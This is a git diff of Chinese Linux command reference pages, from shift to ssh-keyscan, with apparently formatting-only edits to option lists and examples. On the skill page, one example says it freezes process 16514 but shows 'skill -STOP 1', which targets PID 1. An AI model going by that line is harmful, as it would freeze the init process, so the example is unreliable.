    +++ awk -F= '{print $1}'
     + IP=121.42.0.72
    -++ awk -F= '{print $2}'
    -++ echo 121.42.0.72=276
    +++ awk -F= '{print $2}'
    +++ echo 121.42.0.72=276
     + NUM=276
    -+ '[' 276 -gt 30 ']'
    ++ '[' 276 -gt 30 ']'
     + grep 121.42.0.72 /etc/hosts.deny
    -+ '[' 1 -gt 0 ']'
    ++ '[' 1 -gt 0 ']'
     + echo sshd:121.42.0.72
     + echo vsftpd:121.42.0.72
     
    - - + + \ No newline at end of file diff --git a/c/shift.html b/c/shift.html index 346a17e3a6..c9c10c4227 100644 --- a/c/shift.html +++ b/c/shift.html @@ -9,7 +9,7 @@ shift 命令,Linux shift 命令详解:移动位置参数。 - Linux 命令搜索引擎 - + @@ -156,7 +156,7 @@ e r t
    1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
    - - + + \ No newline at end of file diff --git a/c/shopt.html b/c/shopt.html index 2fd2a75637..e1dedc3281 100644 --- a/c/shopt.html +++ b/c/shopt.html @@ -9,7 +9,7 @@ shopt 命令,Linux shopt 命令详解:显示和设置shell操作选项 - Linux 命令搜索引擎 - + @@ -155,7 +155,7 @@ extdebug off ... " class="copied">

    如图上所示,选项"cdspell"的状态为"off",即关闭cd拼写检查选项。现在,可以使用shopt命令将其开启,输入如下命令:

    -
    shopt -s cdspell          #开启cd拼写检查
    +
    shopt -s cdspell          #开启cd拼写检查
     

    执行上面的命令后,该选项的状态将变为"on",即开启状态。可以再次通过该命令显示一下shell操作选项即可,输出信息如下:

    @@ -163,7 +163,7 @@ extdebug off

    用户可以通过实际执行cd命令检查该选项是否被成功开启。

    - - + + \ No newline at end of file diff --git a/c/showmount.html b/c/showmount.html index 703e92c0a3..c69df1ca35 100644 --- a/c/showmount.html +++ b/c/showmount.html @@ -9,7 +9,7 @@ showmount 命令,Linux showmount 命令详解:显示NFS服务器加载的信息 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    NFS服务器:指定NFS服务器的ip地址或者主机名。

    - - + + \ No newline at end of file diff --git a/c/shuf.html b/c/shuf.html index 79a65e8c65..fd69c360cd 100644 --- a/c/shuf.html +++ b/c/shuf.html @@ -9,7 +9,7 @@ shuf 命令,Linux shuf 命令详解:产生随机的排列。 - Linux 命令搜索引擎 - + @@ -117,8 +117,8 @@ customElements.define('markdown-style', MarkdownStyle);产生随机的排列。

    概要

    shuf [OPTION]... [FILE]
    -shuf -e [OPTION]... [ARG]...
    -shuf -i LO-HI [OPTION]...
    +shuf -e [OPTION]... [ARG]...
    +shuf -i LO-HI [OPTION]...
     
    选项 -
    -e, --echo                  将每个ARG视为输入行。
    +
    -e, --echo                  将每个ARG视为输入行。
     -i, --input-range=LO-HI     将数字范围LO(最低)到HI(最高)之间的作为输入行。
     -n, --head-count=COUNT      只输出前COUNT行。
    --o, --output=FILE           将结果写入到文件而不是标准输出。
    +-o, --output=FILE           将结果写入到文件而不是标准输出。
         --random-source=FILE    将FILE中内容作为随机数据源。
    --r, --repeat                输出行可以重复。
    +-r, --repeat                输出行可以重复。
     -z, --zero-terminated       行终止符为NUL(空字符)而不是默认的换行符。
    ---help                      显示帮助信息并退出。
    ---version                   显示版本信息并退出。
    +--help                      显示帮助信息并退出。
    +--version                   显示版本信息并退出。
     
    例子
    # 模拟硬币抛掷,获取前10个结果:
    -[user2@pc ~]$ shuf -r -n 10 -e "正面" -e "反面"
    +[user2@pc ~]$ shuf -r -n 10 -e "正面" -e "反面"
     反面
     正面
     正面
    @@ -179,7 +179,7 @@ shuf -i LO-HI [OPTION]...
     正面
     正面
     " class="copied">
    -
    [user2@pc ~]$ shuf -i 1-35 -n 5|sort -n && shuf -i 1-12 -n 2|sort -n
    +
    [user2@pc ~]$ shuf -i 1-35 -n 5|sort -n && shuf -i 1-12 -n 2|sort -n
     4
     17
     20
    @@ -200,7 +200,7 @@ shuf -i LO-HI [OPTION]...
     
    1. 该命令是GNU coreutils包中的命令,更多详细的帮助信息请查看man -s 1 shufinfo coreutils 'shuf invocation'
    - - + + \ No newline at end of file diff --git a/c/shutdown.html b/c/shutdown.html index ba53bbd4d4..0d5a5c3871 100644 --- a/c/shutdown.html +++ b/c/shutdown.html @@ -9,7 +9,7 @@ shutdown 命令,Linux shutdown 命令详解:用来执行系统关机的命令 - Linux 命令搜索引擎 - + @@ -122,7 +122,7 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -c:当执行“shutdown -h 11:50”指令时,只要按+键就可以中断关机的指令;
    +
    -c:当执行“shutdown -h 11:50”指令时,只要按+键就可以中断关机的指令;
     -f:重新启动时不执行fsck;
     -F:重新启动时执行fsck;
     -h:将系统关机;
    @@ -146,14 +146,14 @@ customElements.define('markdown-style', MarkdownStyle);
     

    实例

    指定现在立即关机:

    -
    shutdown -h now
    +
    shutdown -h now
     

    指定5分钟后关机,同时送出警告信息给登入用户:

    shutdown +5 "System will shutdown after 5 minutes"
     
    - - + + \ No newline at end of file diff --git a/c/skill.html b/c/skill.html index 48203506b8..6f38d54c96 100644 --- a/c/skill.html +++ b/c/skill.html @@ -9,7 +9,7 @@ skill 命令,Linux skill 命令详解:向选定的进程发送信号冻结进程 - Linux 命令搜索引擎 - + @@ -143,7 +143,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    如果您发现了一个占用大量CPU和内存的进程,但又不想停止它,该怎么办?考虑下面的top命令输出:

    -
    top -c -p 16514
    +
    top -c -p 16514
     23:00:44  up 12 days,  2:04,  4 users,  load average: 0.47, 0.35, 0.31
     1 processes: 1 sleeping, 0 running, 0 zombie, 0 stopped
     CPU states:  cpu    user    nice  system    irq  softirq  iowait    idle
    @@ -167,7 +167,7 @@ Swap: 2041192k av,   83160k used, 1958032k free                  799432k cached
     16514 oracle    19   4 28796  26M 20252 D N   7.0  2.5   0:03   0 oraclePRODB2...
     " class="copied">

    既然您确认进程16514占用了大量内存,您就可以使用skill命令“冻结”它,而不是停止它。

    -
    skill -STOP 1
    +
    skill -STOP 1
     

    之后,检查top输出:

    @@ -193,24 +193,24 @@ Swap: 2041192k av, 83152k used, 1958040k free 851200k cached 16514 oracle 19 4 28796 26M 20252 T N 0.0 2.5 0:04 0 oraclePRODB2... " class="copied">

    现在,CPU 从 0% 空闲变为 94% 空闲。该进程被有效冻结。过一段时间之后,您可能希望唤醒该进程:

    -
    skill -CONT 16514
    +
    skill -CONT 16514
     

    如果希望暂时冻结进程以便为完成更重要的进程腾出空间,该方法非常有用。

    此命令用途很广。如果您要停止 "oracle" 用户的所有进程,只需要一个命令即可实现:

    -
    skill -STOP oracle
    +
    skill -STOP oracle
     

    可以使用用户、PID、命令或终端 id 作为参数。以下命令可停止所有 rman 命令。

    -
    skill -STOP rman
    +
    skill -STOP rman
     

    如您所见,skill 决定您输入的参数(进程 ID、用户 ID 或命令)并进行相应操作。这可能会导致在某些情况下出现这样的问题:您可能具有同名的用户和命令。最好的示例是 "oracle" 进程,通常由用户 "oracle" 运行。因此,当您希望停止名为 "oracle" 的进程时,可执行以下命令:

    -
    skill -STOP oracle
    +
    skill -STOP oracle
     

    用户 "oracle" 的所有进程都停止,包括您可能要使用的会话。要非常明确地执行命令,您可以选择使用一个新参数指定参数的类型。要停止一个名为 oracle 的命令,可执行以下命令:

    -
    skill -STOP -c oracle
    +
    skill -STOP -c oracle
     

    snice命令的功能与skill类似。但它用于降低进程的优先级,而不是停止进程。首先,检查 top 输出:

    @@ -234,7 +234,7 @@ Swap: 2041192k av, 83152k used, 1958040k free 851200k cached 13701 oracle 15 0 22204 21M 16940 T 0.0 2.1 0:00 0 oracle " class="copied">

    现在,将 "oracle" 进程的优先级降低四个点。注意,该值越高,优先级越低。

    -
    snice +4 -u oracle
    +
    snice +4 -u oracle
       PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME CPU COMMAND
     16894 oracle    20   4 38904  32M 26248 D N   5.5  3.2   0:01   0 oracle
     

    注意,NI 列(nice 值)现在是 4,优先级现在设置为 20,而不是 15。这对于降低优先级非常有帮助。

    - - + + \ No newline at end of file diff --git a/c/slabtop.html b/c/slabtop.html index 2e1e828208..8321ef1d55 100644 --- a/c/slabtop.html +++ b/c/slabtop.html @@ -9,7 +9,7 @@ slabtop 命令,Linux slabtop 命令详解:实时显示内核slab内存缓存信息 - Linux 命令搜索引擎 - + @@ -122,8 +122,8 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    --delay=n, -d n:每n秒更新一次显示的信息,默认是每3秒;
    ---sort=S, -s S:指定排序标准进行排序(排序标准,参照下面或者man手册);
    +
    --delay=n, -d n:每n秒更新一次显示的信息,默认是每3秒;
    +--sort=S, -s S:指定排序标准进行排序(排序标准,参照下面或者man手册);
     --once, -o:显示一次后退出;
     --version, -V:显示版本;
     --help:显示帮助信息。
    @@ -234,7 +234,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/sleep.html b/c/sleep.html index 91b607ade6..c215853d9f 100644 --- a/c/sleep.html +++ b/c/sleep.html @@ -9,7 +9,7 @@ sleep 命令,Linux sleep 命令详解:将目前动作延迟一段时间 - Linux 命令搜索引擎 - + @@ -147,7 +147,7 @@ for ((i=0;$i<=100;i++)) done echo " class="copied">
    - - + + \ No newline at end of file diff --git a/c/slocate.html b/c/slocate.html index c7c00d6a6d..705d78c379 100644 --- a/c/slocate.html +++ b/c/slocate.html @@ -9,7 +9,7 @@ slocate 命令,Linux slocate 命令详解:命令查找文件或目录 - Linux 命令搜索引擎 - + @@ -123,9 +123,9 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -d<目录>或--database=<目录>  指定数据库所在的目录。
    --u  更新slocate数据库。
    ---help  显示帮助。
    ---version  显示版本信息。
    +-u  更新slocate数据库。
    +--help  显示帮助。
    +--version  显示版本信息。
     
    - - + + \ No newline at end of file diff --git a/c/smbclient.html b/c/smbclient.html index a590dfcea3..6e1b71f3e4 100644 --- a/c/smbclient.html +++ b/c/smbclient.html @@ -9,7 +9,7 @@ smbclient 命令,Linux smbclient 命令详解:交互方式访问samba服务器 - Linux 命令搜索引擎 - + @@ -165,32 +165,32 @@ customElements.define('markdown-style', MarkdownStyle);smb服务器:指定要连接的smb服务器。

    实例

    列出某个IP地址所提供的共享文件夹

    -
    smbclient -L 198.168.0.1 -U username%password
    +
    smbclient -L 198.168.0.1 -U username%password
     

    像ftp客户端一样使用smbclient

    -
    smbclient //192.168.0.1/tmp  -U username%password
    +
    smbclient //192.168.0.1/tmp  -U username%password
     

    执行smbclient命令成功后,进入smbclient环境,出现提示符:smb:/>

    这里有许多命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源。

    直接一次性使用smbclient命令

    -
    smbclient -c "ls"  //192.168.0.1/tmp  -U username%password
    +
    smbclient -c "ls"  //192.168.0.1/tmp  -U username%password
     

    -
    smbclient //192.168.0.1/tmp  -U username%password
    +
    smbclient //192.168.0.1/tmp  -U username%password
     smb:/>ls
     

    功能一样的。

    创建一个共享文件夹

    -
    smbclient -c "mkdir share1" //192.168.0.1/tmp -U username%password
    +
    smbclient -c "mkdir share1" //192.168.0.1/tmp -U username%password
     

    如果用户共享//192.168.0.1/tmp的方式是只读的,会提示NT_STATUS_ACCESS_DENIED making remote directory /share1

    - - + + \ No newline at end of file diff --git a/c/smbpasswd.html b/c/smbpasswd.html index f705211fb4..e9c3cb472c 100644 --- a/c/smbpasswd.html +++ b/c/smbpasswd.html @@ -9,7 +9,7 @@ smbpasswd 命令,Linux smbpasswd 命令详解:samba用户和密码管理工具 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    用户名:指定要修改SMB密码的用户。

    - - + + \ No newline at end of file diff --git a/c/sort.html b/c/sort.html index 90d0b0e97c..e8aeac048d 100644 --- a/c/sort.html +++ b/c/sort.html @@ -9,7 +9,7 @@ sort 命令,Linux sort 命令详解:对文本文件中所有行进行排序。 - Linux 命令搜索引擎 - + @@ -138,8 +138,8 @@ sort [OPTION]... --files0-from=F
    -n, --numeric-sort 根据数字排序。 -R, --random-sort 随机排序,但分组相同的行。 --random-source=FILE 从FILE中获取随机长度的字节。 --r, --reverse 将结果倒序排列。 ---sort=WORD 根据WORD排序,其中: general-numeric 等价于 -g,human-numeric 等价于 -h,month 等价于 -M,numeric 等价于 -n,random 等价于 -R,version 等价于 -V。 +-r, --reverse 将结果倒序排列。 +--sort=WORD 根据WORD排序,其中: general-numeric 等价于 -g,human-numeric 等价于 -h,month 等价于 -M,numeric 等价于 -n,random 等价于 -R,version 等价于 -V。 -V, --version-sort 文本中(版本)数字的自然排序。

    其他选项:

    --batch-size=NMERGE                    一次合并最多NMERGE个输入;超过部分使用临时文件。
    --c, --check, --check=diagnose-first    检查输入是否已排序,该操作不会执行排序。
    --C, --check=quiet, --check=silent      类似于 -c 选项,但不输出第一个未排序的行。
    +-c, --check, --check=diagnose-first    检查输入是否已排序,该操作不会执行排序。
    +-C, --check=quiet, --check=silent      类似于 -c 选项,但不输出第一个未排序的行。
     --compress-program=PROG                使用PROG压缩临时文件;使用PROG -d解压缩。
    ---debug                                注释用于排序的行,发送可疑用法的警报到stderr。
    +--debug                                注释用于排序的行,发送可疑用法的警报到stderr。
     --files0-from=F                        从文件F中读取以NUL结尾的所有文件名称;如果F是 - ,那么从标准输入中读取名字。
    --k, --key=KEYDEF                       通过一个key排序;KEYDEF给出位置和类型。
    --m, --merge                            合并已排序文件,之后不再排序。
    --o, --output=FILE                      将结果写入FILE而不是标准输出。
    --s, --stable                           通过禁用最后的比较来稳定排序。
    +-k, --key=KEYDEF                       通过一个key排序;KEYDEF给出位置和类型。
    +-m, --merge                            合并已排序文件,之后不再排序。
    +-o, --output=FILE                      将结果写入FILE而不是标准输出。
    +-s, --stable                           通过禁用最后的比较来稳定排序。
     -S, --buffer-size=SIZE                 使用SIZE作为内存缓存大小。
     -t, --field-separator=SEP              使用SEP作为列的分隔符。
     -T, --temporary-directory=DIR          使用DIR作为临时目录,而不是 $TMPDIR 或 /tmp;多次使用该选项指定多个临时目录。
    ---parallel=N                           将并发运行的排序数更改为N。
    --u, --unique                           同时使用-c,严格检查排序;不同时使用-c,输出排序后去重的结果。
    +--parallel=N                           将并发运行的排序数更改为N。
    +-u, --unique                           同时使用-c,严格检查排序;不同时使用-c,输出排序后去重的结果。
     -z, --zero-terminated                  设置行终止符为NUL(空),而不是换行符。
    ---help                                 显示帮助信息并退出。
    ---version                              显示版本信息并退出。
    +--help                                 显示帮助信息并退出。
    +--version                              显示版本信息并退出。
     
     
     KEYDEF的格式为:F[.C][OPTS][,F[.C][OPTS]] ,表示开始到结束的位置。
    @@ -378,7 +378,7 @@ AAA:BB:CC
       同理,在End部分中,你可以设定FEnd.CEnd,如果你省略.CEnd或将它设定为0,则表示结尾到本域的最后一个字符。
     

    例子:从公司英文名称的第二个字母开始排序:

    -
    $ sort -t ' ' -k 1.2 facebook.txt
    +
    $ sort -t ' ' -k 1.2 facebook.txt
     baidu 100 5000
     sohu 100 4500
     google 110 5000
    @@ -391,7 +391,7 @@ guge 50 3000
     " class="copied">

    解读:使用了-k 1.2,表示对第一个域的第二个字符开始到本域的最后一个字符为止的字符串进行排序。你会发现baidu因为第二个字母是a而名列榜首。sohu和google第二个字符都是o,但sohu的h在google的o前面,所以两者分别排在第二和第三。guge只能屈居第四了。

    例子:只针对公司英文名称的第二个字母进行排序,如果相同的按照员工工资进行降序排序:

    -
    $ sort -t ' ' -k 1.2,1.2 -nrk 3,3 facebook.txt
    +
    $ sort -t ' ' -k 1.2,1.2 -nrk 3,3 facebook.txt
     baidu 100 5000
     google 110 5000
     sohu 100 4500
    @@ -418,7 +418,7 @@ guge 50 3000
         

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 shufinfo coreutils 'shuf invocation'

    - - + + \ No newline at end of file diff --git a/c/source.html b/c/source.html index a020de7f94..421cd36cae 100644 --- a/c/source.html +++ b/c/source.html @@ -9,7 +9,7 @@ source 命令,Linux source 命令详解:在当前Shell环境中从指定文件读取和执行命令。 - Linux 命令搜索引擎 - + @@ -157,7 +157,7 @@ customElements.define('markdown-style', MarkdownStyle);
  • 该命令是bash内建命令,相关的帮助信息请查看 help 命令。
  • - - + + \ No newline at end of file diff --git a/c/speedtest-cli.html b/c/speedtest-cli.html index b5e1fd6c3e..54df36683c 100644 --- a/c/speedtest-cli.html +++ b/c/speedtest-cli.html @@ -9,7 +9,7 @@ speedtest-cli 命令,Linux speedtest-cli 命令详解:命令行下测试服务器外网速度 - Linux 命令搜索引擎 - + @@ -138,27 +138,27 @@ customElements.define('markdown-style', MarkdownStyle);

    下载脚本方式

    -
    wget -O speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py
    +
    wget -O speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py
     chmod +x speedtest-cli
     

    或者

    -
    curl -o speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py
    +
    curl -o speedtest-cli https://raw.github.com/sivel/spe ... er/speedtest_cli.py
     chmod +x speedtest-cli
     

    直接下载脚本,给予执行权限即可。

    用法

    -
    -h, --help       show this help message and exit
    ---share          分享你的网速,该命令会在speedtest网站上生成网速测试结果的图片。
    ---simple         Suppress verbose output, only show basic information
    ---list           根据距离显示speedtest.net的测试服务器列表。
    ---server=SERVER  指定列表中id的服务器来做测试。
    ---mini=MINI      URL of the Speedtest Mini server
    ---source=SOURCE  Source ip address to bind to
    ---version        Show the version number and exit
    +
    -h, --help       show this help message and exit
    +--share          分享你的网速,该命令会在speedtest网站上生成网速测试结果的图片。
    +--simple         Suppress verbose output, only show basic information
    +--list           根据距离显示speedtest.net的测试服务器列表。
    +--server=SERVER  指定列表中id的服务器来做测试。
    +--mini=MINI      URL of the Speedtest Mini server
    +--source=SOURCE  Source ip address to bind to
    +--version        Show the version number and exit
     
    - - + + \ No newline at end of file diff --git a/c/spell.html b/c/spell.html index 05d6ee2c28..9bc8aa90d7 100644 --- a/c/spell.html +++ b/c/spell.html @@ -9,7 +9,7 @@ spell 命令,Linux spell 命令详解:对文件进行拼写检查 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定需要进行拼写检查的文件。

    - - + + \ No newline at end of file diff --git a/c/split.html b/c/split.html index f9e4d137eb..d0bbcdfab0 100644 --- a/c/split.html +++ b/c/split.html @@ -9,7 +9,7 @@ split 命令,Linux split 命令详解:分割任意大小的文件 - Linux 命令搜索引擎 - + @@ -165,10 +165,10 @@ date.file x000 x001 x002 x003 x004 x005 x006 x007 x008 x009 date.file split_file000 split_file001 split_file002 split_file003 split_file004 split_file005 split_file006 split_file007 split_file008 split_file009 " class="copied">

    使用-l选项根据文件的行数来分割文件,例如把文件分割成每个包含10行的小文件:

    -
    split -l 10 date.file
    +
    split -l 10 date.file
     
    - - + + \ No newline at end of file diff --git a/c/squid.html b/c/squid.html index 8f25b9412e..df053aaf26 100644 --- a/c/squid.html +++ b/c/squid.html @@ -9,7 +9,7 @@ squid 命令,Linux squid 命令详解:squid服务器守护进程 - Linux 命令搜索引擎 - + @@ -141,7 +141,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/squidclient.html b/c/squidclient.html index dc9a8679dc..50f9c2ac68 100644 --- a/c/squidclient.html +++ b/c/squidclient.html @@ -9,7 +9,7 @@ squidclient 命令,Linux squidclient 命令详解:squid服务器的客户端管理工具 - Linux 命令搜索引擎 - + @@ -141,7 +141,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    URL:指定操作缓存中的URL。

    - - + + \ No newline at end of file diff --git a/c/ss.html b/c/ss.html index dff2710e11..4550ad648d 100644 --- a/c/ss.html +++ b/c/ss.html @@ -9,7 +9,7 @@ ss 命令,Linux ss 命令详解:比 netstat 好用的socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息 - Linux 命令搜索引擎 - + @@ -126,31 +126,31 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -h, --help      帮助信息
    --V, --version   程序版本信息
    --n, --numeric   不解析服务名称
    --r, --resolve   解析主机名
    --a, --all       显示所有套接字(sockets)
    --l, --listening 显示监听状态的套接字(sockets)
    --o, --options   显示计时器信息
    --e, --extended  显示详细的套接字(sockets)信息
    --m, --memory    显示套接字(socket)的内存使用情况
    --p, --processes 显示使用套接字(socket)的进程
    --i, --info      显示 TCP内部信息
    --s, --summary   显示套接字(socket)使用概况
    --4, --ipv4      仅显示IPv4的套接字(sockets)
    --6, --ipv6      仅显示IPv6的套接字(sockets)
    --0, --packet    显示 PACKET 套接字(socket)
    --t, --tcp       仅显示 TCP套接字(sockets)
    --u, --udp       仅显示 UCP套接字(sockets)
    --d, --dccp      仅显示 DCCP套接字(sockets)
    --w, --raw       仅显示 RAW套接字(sockets)
    --x, --unix      仅显示 Unix套接字(sockets)
    --f, --family=FAMILY  显示 FAMILY类型的套接字(sockets),FAMILY可选,支持  unix, inet, inet6, link, netlink
    --A, --query=QUERY, --socket=QUERY
    +
    -h, --help      帮助信息
    +-V, --version   程序版本信息
    +-n, --numeric   不解析服务名称
    +-r, --resolve   解析主机名
    +-a, --all       显示所有套接字(sockets)
    +-l, --listening 显示监听状态的套接字(sockets)
    +-o, --options   显示计时器信息
    +-e, --extended  显示详细的套接字(sockets)信息
    +-m, --memory    显示套接字(socket)的内存使用情况
    +-p, --processes 显示使用套接字(socket)的进程
    +-i, --info      显示 TCP内部信息
    +-s, --summary   显示套接字(socket)使用概况
    +-4, --ipv4      仅显示IPv4的套接字(sockets)
    +-6, --ipv6      仅显示IPv6的套接字(sockets)
    +-0, --packet    显示 PACKET 套接字(socket)
    +-t, --tcp       仅显示 TCP套接字(sockets)
    +-u, --udp       仅显示 UCP套接字(sockets)
    +-d, --dccp      仅显示 DCCP套接字(sockets)
    +-w, --raw       仅显示 RAW套接字(sockets)
    +-x, --unix      仅显示 Unix套接字(sockets)
    +-f, --family=FAMILY  显示 FAMILY类型的套接字(sockets),FAMILY可选,支持  unix, inet, inet6, link, netlink
    +-A, --query=QUERY, --socket=QUERY
           QUERY := {all|inet|tcp|udp|raw|unix|packet|netlink}[,QUERY]
    --D, --diag=FILE     将原始TCP套接字(sockets)信息转储到文件
    - -F, --filter=FILE  从文件中都去过滤器信息
    +-D, --diag=FILE     将原始TCP套接字(sockets)信息转储到文件
    + -F, --filter=FILE  从文件中都去过滤器信息
            FILTER := [ state TCP-STATE ] [ EXPRESSION ]
     

    实例

    -
    ss -t -a    # 显示TCP连接
    -ss -s       # 显示 Sockets 摘要
    -ss -l       # 列出所有打开的网络连接端口
    -ss -pl      # 查看进程使用的socket
    -ss -lp | grep 3306  # 找出打开套接字/端口应用程序
    -ss -u -a    显示所有UDP Sockets
    -ss -o state established '( dport = :smtp or sport = :smtp )' # 显示所有状态为established的SMTP连接
    -ss -o state established '( dport = :http or sport = :http )' # 显示所有状态为Established的HTTP连接
    -ss -o state fin-wait-1 '( sport = :http or sport = :https )' dst 193.233.7/24  # 列举出处于 FIN-WAIT-1状态的源端口为 80或者 443,目标网络为 193.233.7/24所有 tcp套接字
    +
    ss -t -a    # 显示TCP连接
    +ss -s       # 显示 Sockets 摘要
    +ss -l       # 列出所有打开的网络连接端口
    +ss -pl      # 查看进程使用的socket
    +ss -lp | grep 3306  # 找出打开套接字/端口应用程序
    +ss -u -a    显示所有UDP Sockets
    +ss -o state established '( dport = :smtp or sport = :smtp )' # 显示所有状态为established的SMTP连接
    +ss -o state established '( dport = :http or sport = :http )' # 显示所有状态为Established的HTTP连接
    +ss -o state fin-wait-1 '( sport = :http or sport = :https )' dst 193.233.7/24  # 列举出处于 FIN-WAIT-1状态的源端口为 80或者 443,目标网络为 193.233.7/24所有 tcp套接字
     
     # ss 和 netstat 效率对比
    -time netstat -at
    +time netstat -at
     time ss
     
     # 匹配远程地址和端口号
    @@ -256,7 +256,7 @@ ss src 192.168.119.103:25
     ss  dport != :22
     ss  state connected sport = :http
     ss \( sport = :http or sport = :https \)
    -ss -o state fin-wait-1 \( sport = :http or sport = :https \) dst 192.168.1/24
    +ss -o state fin-wait-1 \( sport = :http or sport = :https \) dst 192.168.1/24
     

    用TCP 状态过滤Sockets

    -
    ss -4 state closing
    +
    ss -4 state closing
     # ss -4 state FILTER-NAME-HERE
     # ss -6 state FILTER-NAME-HERE
     # FILTER-NAME-HERE 可以代表以下任何一个:
    @@ -414,7 +414,7 @@ LISTEN 7
     ESTAB 31
     TIME-WAIT 28
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/ssh-add.html b/c/ssh-add.html index a47f75c238..f4a2ec2ed2 100644 --- a/c/ssh-add.html +++ b/c/ssh-add.html @@ -9,7 +9,7 @@ ssh-add 命令,Linux ssh-add 命令详解:把专用密钥添加到ssh-agent的高速缓存中 - Linux 命令搜索引擎 - + @@ -119,8 +119,8 @@ customElements.define('markdown-style', MarkdownStyle);ssh-add命令 是把专用密钥添加到ssh-agent的高速缓存中。该命令位置在/usr/bin/ssh-add

    语法

    ssh-add [-cDdLlXx] [-t life] [file ...]
    -ssh-add -s pkcs11
    -ssh-add -e pkcs11
    +ssh-add -s pkcs11
    +ssh-add -e pkcs11
     
    选项
    -D:删除ssh-agent中的所有密钥.
     -d:从ssh-agent中的删除密钥
    --e pkcs11:删除PKCS#11共享库pkcs1提供的钥匙。
    --s pkcs11:添加PKCS#11共享库pkcs1提供的钥匙。
    +-e pkcs11:删除PKCS#11共享库pkcs1提供的钥匙。
    +-s pkcs11:添加PKCS#11共享库pkcs1提供的钥匙。
     -L:显示ssh-agent中的公钥
     -l:显示ssh-agent中的密钥
    --t life:对加载的密钥设置超时时间,超时ssh-agent将自动卸载密钥
    +-t life:对加载的密钥设置超时时间,超时ssh-agent将自动卸载密钥
     -X:对ssh-agent进行解锁
     -x:对ssh-agent进行加锁
     

    2、从ssh-agent中删除密钥:

    -
    ssh-add -d ~/.ssh/id_xxx.pub
    +
    ssh-add -d ~/.ssh/id_xxx.pub
     

    3、查看ssh-agent中的密钥:

    -
    ssh-add -l
    +
    ssh-add -l
     
    - - + + \ No newline at end of file diff --git a/c/ssh-agent.html b/c/ssh-agent.html index 6faaf9e916..3b0116e9ed 100644 --- a/c/ssh-agent.html +++ b/c/ssh-agent.html @@ -9,7 +9,7 @@ ssh-agent 命令,Linux ssh-agent 命令详解:ssh密钥管理器 - Linux 命令搜索引擎 - + @@ -120,17 +120,17 @@ customElements.define('markdown-style', MarkdownStyle);其实ssh-agent就是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管,其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。

    语法

    ssh-agent [-c | -s] [-d] [-a bind_address] [-t life] [command [arg ...]]
    -ssh-agent [-c | -s] -k
    +ssh-agent [-c | -s] -k
     

    选项

    -
    -a bind_address:bind the agent to the UNIX-domain socket bind_address.
    +
    -a bind_address:bind the agent to the UNIX-domain socket bind_address.
     -c:生成C-shell风格的命令输出。
     -d:调试模式。
     -k:把ssh-agent进程杀掉。
     -s:生成Bourne shell 风格的命令输出。
    --t life:设置默认值添加到代理人的身份最大寿命。
    +-t life:设置默认值添加到代理人的身份最大寿命。
     

    运行ssh-agent,它会打印出来它使用的环境和变量。

    - - + + \ No newline at end of file diff --git a/c/ssh-copy-id.html b/c/ssh-copy-id.html index ddf2531367..56f8aee86c 100644 --- a/c/ssh-copy-id.html +++ b/c/ssh-copy-id.html @@ -9,7 +9,7 @@ ssh-copy-id 命令,Linux ssh-copy-id 命令详解:把本地的ssh公钥文件安装到远程主机对应的账户下 - Linux 命令搜索引擎 - + @@ -128,11 +128,11 @@ customElements.define('markdown-style', MarkdownStyle);实例

    1、把本地的ssh公钥文件安装到远程主机对应的账户下:

    ssh-copy-id user@server
    -ssh-copy-id -i ~/.ssh/id_rsa.pub user@server
    +ssh-copy-id -i ~/.ssh/id_rsa.pub user@server
     
    - - + + \ No newline at end of file diff --git a/c/ssh-keygen.html b/c/ssh-keygen.html index e43b94b6ed..b7fcb98823 100644 --- a/c/ssh-keygen.html +++ b/c/ssh-keygen.html @@ -9,7 +9,7 @@ ssh-keygen 命令,Linux ssh-keygen 命令详解:为ssh生成、管理和转换认证密钥 - Linux 命令搜索引擎 - + @@ -143,7 +143,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/ssh-keyscan.html b/c/ssh-keyscan.html index ea045db272..bdc8de4c44 100644 --- a/c/ssh-keyscan.html +++ b/c/ssh-keyscan.html @@ -9,7 +9,7 @@ ssh-keyscan 命令,Linux ssh-keyscan 命令详解:收集主机公钥的使用工具 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    主机列表:指定要收集公钥的主机列表。

